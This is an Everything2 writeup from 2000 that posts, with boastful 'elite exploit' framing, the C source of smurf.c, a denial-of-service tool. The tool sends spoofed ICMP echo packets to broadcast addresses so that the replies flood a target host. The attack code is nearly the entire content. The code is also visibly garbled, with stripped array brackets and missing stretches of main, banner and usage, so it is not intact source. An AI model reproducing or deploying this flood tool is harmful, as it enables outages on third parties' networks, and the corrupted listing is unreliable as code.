Everything2
Near Matches
Ignore Exact
Full Text
Everything2

smurf.c

created by tph

(idea) by tph (8.5 y) (print)   ?   (I like it!) Sun Feb 06 2000 at 5:31:43

31337 est
DOS S3xPl0it3 of all time heh


                             #include <signal.h>
                             #include <stdio.h>
                             #include <stdlib.h>
                             #include <sys/socket.h>
                             #include <sys/types.h>
                             #include <netinet/in.h>
                             #include <netinet/ip.h>
                             #include <netinet/ip_icmp.h>
                             #include <netdb.h>
                             #include <ctype.h>
                             #include <arpa/inet.h>
                             #include <unistd.h>
                             #include <string.h>

                             void banner(void);
                             void usage(char *);
                             void smurf(int, struct sockaddr_in, u_long, int);
                             void ctrlc(int);
                             unsigned short in_chksum(u_short *, int);

                             /* stamp */
                             char id = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

                             int main (int argc, char *argv)
                             {
                                struct sockaddr_in sin;
                                struct hostent *he;
                                FILE   *bcastfile;
                                int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
                                char   buf32, **bcastaddr = malloc(8192);

                                banner();
                                signal(SIGINT, ctrlc);

                                if (argc h_addr, he->h_length);
                                sin.sin_family = AF_INET;
                                sin.sin_port = htons(0);

                                num = atoi(argv3);
                                delay = atoi(argv4);
                                pktsize = atoi(argv5);

                                if ((bcastfile = fopen(argv2, "r")) == NULL) {
                                   perror("opening bcast file");
                                   exit(-1);
                                }
                                x = 0;
                                while (!feof(bcastfile)) {
                                   fgets(buf, 32, bcastfile);
                                   if (buf0 == '#' || buf0 == '\n' || ! isdigit(buf0)) continue;
                                   for (i = 0; i  1024) {
                                   fprintf(stderr, "ERROR: packet size must be  < bcast file > "
                                                " < packet delay > < packet size>\n\n"
                                                "target        = address to hit\n"
                                                "bcast file    = file to read broadcast addresses from\n"
                                                "num packets   = number of packets to send (0 = flood)\n"
                                                "packet delay  = wait between each packet (in ms)\n"
                                                "packet size   = size of packet (< 1024)\n\n", prog);
                                exit(-1);
                             }

                             void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
                             {
                                struct iphdr *ip;
                                struct icmphdr *icmp;
                                char *packet;

                                packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
                                ip = (struct iphdr *)packet;
                                icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

                                memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

                                ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
                                ip-> ihl = 5;
                                ip-> version = 4;
                                ip-> ttl = 255;
                                ip-> tos = 0;
                                ip-> frag_off = 0;
                                ip-> protocol = IPPROTO_ICMP;
                                ip-> saddr = sin.sin_addr.s_addr;
                                ip-> daddr = dest;
                                ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));
                                icmp-> type = 8;
                                icmp-> code = 0;
                                icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

                                sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
                                       0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

                                free(packet);           /* free willy! */
                             }

                             void ctrlc (int ignored)
                             {
                                puts("\nDone!\n");
                                exit(1);
                             }

                             unsigned short in_chksum (u_short *addr, int len)
                             {
                                register int nleft = len;
                                register int sum = 0;
                                u_short answer = 0;

                                while (nleft > 1) {
                                   sum += *addr++;
                                   nleft -= 2;
                                }

                                if (nleft == 1) {
                                   *(u_char *)(&answer) = *(u_char *)addr;
                                   sum += answer;
                                }

                                sum = (sum >> 16) + (sum + 0xffff);
                                sum += (sum >> 16);
                                answer = ~sum;
                                return(answer);
                             }







printable version
chaos

smurf attack The Land of Rape and Honey Jon Katz 31337
DOS Heh Elephants, Grapes & Pickles Montreal
The Smurfs smurf script kiddie
Y'know, if you log in, you can write something here, or contact authors directly on the site. Create a New User if you don't already have an account.
  Epicenter
Login
Password

password reminder
register

Everything2 Help

Cool Staff Picks
Just another sprinkling of indeterminacy
The Industrial Revolution: Blessing or curse for the working class?
Thundarr the Barbarian
Mutant brains of London cabbies
Don't be smart too, I couldn't stand it
Van Morrison
The Great Advent Antiphons
Bob Dylan
green flash
Greenwich Mean Time
Of Gingerbread Houses, and Happy Endings
Hand plane
How to entertain young children on little or no money
( )
New Writeups
XWiz
Trism(review)
artman2003
Briefcase Full of Souls - Part I(fiction)
Dreamvirus
Alan Ladd(person)
waverider37
Harold Holt(person)
The Debutante
Until death do us part(fiction)
Ysardo
a brother to a sister(personal)
antigravpussy
your warm whispers(personal)
Clarke
Multiculturalism(idea)
aneurin
Earl of Landaff(person)
Heitah
Pseudocide(idea)
XWiz
Google Knol(lede)
Mythi
July 24, 2008(personal)
locke baron
The fall of Earth(fiction)
BookReader
Fear the Cold(dream)
Pavlovna
Kathleen MacInnes(person)
Everything 2 is brought to you by the letter C and The Everything Development Company